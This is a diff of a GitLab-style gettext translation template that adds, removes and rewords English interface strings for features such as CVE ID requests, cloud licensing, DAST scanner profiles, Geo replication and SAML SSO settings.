@@ -5329,6 +5479,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5419,6 +5575,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5515,6 +5692,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5635,6 +5815,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5662,6 +5845,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5671,12 +5857,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6319,6 +6511,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6352,6 +6547,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6385,9 +6622,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6406,12 +6640,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6961,6 +7204,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7669,6 +7915,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7732,6 +7981,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8017,6 +8269,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8047,9 +8302,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8134,6 +8386,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8152,6 +8407,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8218,6 +8476,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8440,6 +8701,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8485,9 +8749,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8545,9 +8806,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8602,12 +8872,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8641,6 +8920,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8650,18 +8932,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8806,9 +9085,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8830,6 +9106,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8983,6 +9262,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9046,6 +9328,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9349,8 +9634,11 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9445,6 +9733,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9514,6 +9805,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9574,6 +9871,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9607,6 +9907,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9637,12 +9940,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9721,6 +10036,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9751,6 +10069,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10174,13 +10495,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10291,9 +10618,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10321,9 +10645,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10438,9 +10759,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10600,13 +10918,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10621,7 +10939,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10876,6 +11194,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11119,6 +11440,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11131,6 +11455,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11350,6 +11677,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11374,6 +11704,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11386,6 +11719,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11398,6 +11734,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11509,6 +11848,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11578,9 +11920,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12208,19 +12547,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12229,7 +12568,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12340,9 +12679,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12409,6 +12745,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12478,6 +12817,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12490,12 +12832,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12523,9 +12859,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12547,13 +12880,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12652,6 +12988,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12679,9 +13018,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12730,9 +13075,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12787,9 +13129,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13174,10 +13513,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13210,7 +13549,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13312,6 +13651,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13360,12 +13702,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13375,9 +13720,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13402,6 +13744,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13411,6 +13756,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13426,6 +13774,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13444,9 +13795,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13708,6 +14056,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13750,9 +14101,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13777,6 +14134,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13810,6 +14176,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13837,6 +14209,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13849,6 +14224,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13876,6 +14275,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13888,6 +14290,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13921,6 +14326,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13966,6 +14374,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14095,6 +14506,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14218,6 +14635,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14260,9 +14695,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14392,16 +14824,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14413,6 +14842,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14470,6 +14902,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14551,9 +14989,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14656,9 +15091,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14674,7 +15115,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14770,9 +15214,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14968,9 +15409,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15106,9 +15544,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15289,6 +15724,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15457,6 +15895,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15619,9 +16063,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15670,12 +16111,15 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15685,9 +16129,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16273,6 +16714,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
